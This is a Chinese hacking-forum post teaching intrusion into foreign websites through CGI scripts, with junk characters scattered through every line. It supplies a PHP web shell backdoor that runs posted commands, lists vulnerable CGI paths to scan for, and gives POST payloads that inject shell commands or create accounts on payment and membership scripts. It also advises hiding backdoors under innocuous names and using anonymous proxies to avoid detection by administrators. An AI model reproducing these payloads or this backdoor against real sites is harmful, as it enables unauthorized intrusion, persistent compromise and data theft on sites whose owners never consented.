中国网络渗透测试联盟

标题: CGI 脚本入侵快速上手+脚本使用方法 [打印本页]

作者: admin    时间: 2012-9-13 16:54
标题: CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法& L; z* D0 p' g2 {* b: f
大家好 我是bboyhip  只是一名菜菜的exploiter
9 m7 R# ^: r- s) r1 P很开心来到贵论坛
1 m8 n4 U) n, ^* [% X  V9 p/ U这里让我感觉 很有技术交流的感觉1 |6 S6 v" a" X4 }  d
我会长长来玩的
- n9 G( h' k0 e前言:
* z5 \9 V; ?9 ^2 H2 [以下讲解针对欧美日本网站
/ C0 K+ e( s: ?& b" {8 g3 R4 U$ r1 h當我們在做滲透分析的時候 方法有很多) ^; O( u- J- k) P
我门都知道 国外伺服器大多是linux 平台
/ {/ N8 P9 v; l' `所以有很多网站程序有6成都会使用cgi 脚本来管理
. m: V, m4 t1 `! A目录为/cgi-bin/& H8 C& \) b* d+ J3 W, |2 D1 l: J

) Z% r9 x& f( b9 b1 z只是个人在实务上一些经验9 O& e0 i7 R; G& v6 c
写的不好 请多多见谅喔
% W3 {2 D  B- D3 ]3 G' G在这里我简单分为几个部份一定要會的
" E0 I* N3 g/ \/ H讲解一下
& d0 a7 X" I- s7 I( t7 b9 j& ^让没有基础的人很容易上手- ?! q1 n) Q2 r0 K7 D

* `5 S/ E1 A2 S, v以下内容跟帖回复才能看到
( D  v( G  A8 K% n==============================
) }" O; b& i1 q: e4 A/ A2 G2 s2 R! }' M
; {  e; Z2 A& U第1部份: 何谓Shell?
; u* o8 R$ O/ R% R' _Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:( z  a$ L8 A; r6 I; ?1 z" s
A shell is the program which reads user input from the command line and executes actions based upon that input.
: N) H8 E* M8 S, P  {, f+ f! j1 G意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
" f3 T$ b" o, ?7 m- g
. ^: d& F0 ]: S3 I; v2 z1 Q对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  ; Y# w) L/ J' v2 D; {0 V
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.7 l1 o# v. j; {+ \
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
% Q/ s9 a) B/ h8 I2 C
% p) n. \4 S( M# h/ _第2部份: Unix 指令
" w' C. m/ T2 _% |以下是一些常见及重要的指令:3 m3 j4 ]8 ^% A4 ^4 S
pwd: 显示当前目录, 即是後门/程式所在的位置3 B: C1 Y8 M4 k+ x
如 /home/www/site.com/cgi-bin/' h  d7 _9 J* l0 V3 m! h  M
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
5 ?5 L7 b' J3 L: Q7 O4 ^ls -al :详细列出档案资料(当前目录)1 E" o, z' B6 [( G. u% b0 I, B9 a0 I5 Y
ls /: 列出根目录; J+ w% W1 B1 f$ @) ^. T) f5 S
ls /etc: 列出/etc的资料夹及档案( ?7 d* r. L( ^1 }8 _/ f( M. S  f$ b: Z
ls ../ -al: 详细列出上一层的资料夹及档案( j: t6 p" W7 R+ G8 K# V
cat: 显示档案内容
' m! j+ A6 d3 l8 {cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
# p- j9 a- I9 ^3 l+ ^# h0 Ucat /etc/passwd: 显示 /etc/passwd 这个档案的内容- V$ [1 p) Y  K! [1 V2 X& o/ C
who: 显示谁login 至系统
' l9 I) n$ k# z3 ?' fman: 显示指令用法  ' [# \# i0 T6 [5 r- k9 N
man ls: 显示ls这指令的用法  , f9 G& J9 a" g  E4 r/ j" j0 C
mkdir 建立目录
+ e7 P( o* X6 s5 }5 e: mrmdir 删除目录. ~8 T$ S' H% m& j: Y  s$ ?
mv 移动档案
0 w( X% Z5 G: L. Brm 删除档案
+ f5 n, x" w' _2 F" B/ o" K" b0 J" U
第3部份: Shell的使用" }8 A# J' J$ S& W6 N
例如:
% _! t+ q3 a/ i% x/ ehttp://site.com/refer.php+ e& s8 D0 r/ Y
这是我的後门, 原代码如下:, l, J  B3 \- C; u; s3 b6 ^+ y
<Form Action="#" Method="POST"> : I  O3 w, i2 O
<Input type="text" name="cmd"> 4 Y' T' g' D. g
<Input type="Submit">
! j; s/ m5 I( `' o1 [5 E</Form> 2 k+ f5 Z! _3 v6 {( \
<?php
5 j; y$ ^7 S  o3 `; B+ ^$cmd = $_POST['cmd'];
; c' A. G' w6 l5 }; F# ?$Output = shell_exec($cmd); ( b" E% [5 V$ X
echo $Output; 1 Y/ @/ ?4 V1 [: ~' f) }& S: h# S
?> - O, }  L: L6 e$ O
输入pwd, 可得到绝对路径:
" Z* F' {) O6 P( D8 w6 w) k' x/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com# m8 @1 S+ q0 O* T

" b& I7 {6 `+ y第4部份: 注意事项/ O. J" a% h, h- c9 v
- 使用匿名代理, 保障自己
2 R2 j+ w4 `* ^* Q7 r  P- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
5 |, T2 d) a3 Q+ }7 p- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.8 F9 l% `8 r$ [0 ~% k6 q
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
5 A  H2 J1 V& T% z, ~- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
4 R5 Z2 e3 m) L. ?' E不容易被发现.
# ~2 Z6 @" H+ Y/ M2 H. Q: @- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
  _' Z9 y! N- R6 x) B" i针对网站的渗透分析方法太多了
& u# q# Q; b, Y5 O这篇文章的重点是cgi 脚本攻击7 J( s. ^0 i5 |5 Y7 @
所以我用简单的叙述形容$ _& ~$ c- O% _8 H' \
开始讲解脚本入侵过程:3 G- B5 ]- `" W5 `+ I
在这里提供一些方法思路让大家学习一下+ b7 P1 j; P2 T6 Z3 G/ I8 y* G

; V4 Y1 }$ b9 Y4 K+ i, ]) D, d1.一开始对一个网站进行cgi漏洞扫描0 r% m% y9 e* X1 t! W; y
我们需要的东西有
" f) I4 |, y7 `, B扫洞工具 如:triton..等等3 ?2 o+ i8 U' p5 V1 I8 C: q
E表3 O% c+ ^2 `& R& n! o
9 m3 S; E; m3 x4 E) g
/cgi-bin/add-passwd.cgi % ^4 f; G- u6 y/ V5 t8 k. \6 W- O
/WebShop/templates/cc.txt: X9 E; a" M& g/ E: P+ O. @& P
/Admin_files/order.log4 o: N7 |2 ~& q0 v' d: H
/orders/mountain.cfg
9 ~6 M5 H6 O  u1 ?) X( B( [% u; D/cgi-sys/cart.pl
2 ~3 y3 N& r" |$ C& P" p2 L  r1 d3 y/scripts/cart.pl+ F2 j0 P% p. Z
/htbin/cart.pl
% y$ r5 D$ O7 v1 q. H: g4 F4 ZE表来源可以是网路收寻或是自己的0 day; y  N+ C! f9 O$ e

" H8 _" q" `# \2.怎样确认扫到的洞 是真的还假的?
. }1 _& z  c: @. v  t举例: target: http://www.site.com/cgi-bin/add-passwd.cgi4 s5 [; e2 ~4 @% j
一般都是在IE里先看一下的,记住这个返回码哦3 L# S8 T  h1 _* t4 P  I
ERROR:This script should be referenced with a METHOD of POST.1 @% o1 K7 Y( A. a" U
没有返回一定是假的
0 _9 z; ^" Z2 C2 N1 e  v3.重来来了 很多人都会问我- _& v( B+ m: f$ j
他扫到很多洞 但是不会使用
- {% }" u; A6 @1 m4 f1 P$ U因为这些漏洞 使用的语法 称为post
3 h" Q- K  D$ w我们要找post 的方法很多  S5 s  u- X$ |0 B
可以是源代码分析 找出介质
6 P; @" p+ x& W$ T( D" E/ W$ d9 o, J或是用抓包工具 抓他的语法...等等
$ o/ Q  {- {( V0 ~) u2 K" r
/ m* G/ @; [+ v  d2 v以下我提供10个 cgi 洞以及使用方法post; j! e, _0 n. D2 [
让大家可以针对网站去做扫描  
9 S2 N  [9 m( w- [# k- F( t/index.cgi
& F+ P3 n" h# l" r  n' b2 wwei=ren&gen=command
! f! j# ?: V' G+ J7 U/passmaster.cgi
$ B: Y0 u0 L% ?# m; w* hAction=Add&Username=Username&Password=Password* p2 W& q7 W+ m! e
/accountcreate.cgi# _! O7 @: l9 }2 f5 ~  K
username=username&password=password&ref1=|echo;ls|% o2 j" W% r  [; m" v
/form.cgi
$ u  c0 E" l* Bname=xxxx&email=email&subject=xxxx&response=|echo;ls|% r, I+ y9 [$ d2 ~5 ]( T/ f
/addusr.pl
- C9 W7 q5 ]+ k1 u5 a2 K/cgi-bin/EuroDebit/addusr.pl
( q2 A, K# C5 a4 xuser=username&pass=Password&confirm=Password
6 H8 L3 B3 H$ N0 \) b' }/ccbill-local.asp
% h  H/ C3 G& W) \, mpost_values=username:password
! K0 Q6 }$ Q7 N" W* A/count.cgi
) S2 Q5 I9 j2 g2 D8 {% Wpinfile=|echo;ls -la;exit|
9 x# t$ b' V9 B" J6 A# ]/recon.cgi; d# Y+ d* T9 e" X, P! R
/recon.cgi?search
  k- i3 r. c' N, f! i: e7 bsearchoption=1&searchfor=|echo;ls -al;exit|
& U( u* m" L! H  c, [: ~8 B/verotelrum.pl4 s0 V4 K1 e' t
vercode=username:password:dseegsow:add:amount<&30>! C3 X7 r. ?- s4 H$ w4 ?0 y& o
/af.cgi_browser_out=|echo;ls -la;exit;|' Y- `! m3 m* p# b$ ]
5 h7 Q3 t( P2 c) y/ K; @
今天就讲到这  感谢大家支持
# y& d+ ?& h* P7 [4 E




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2